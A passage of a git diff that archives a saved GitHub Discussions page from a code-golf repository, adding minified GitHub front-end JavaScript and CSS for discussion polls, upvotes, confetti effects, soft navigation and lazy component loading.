t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespac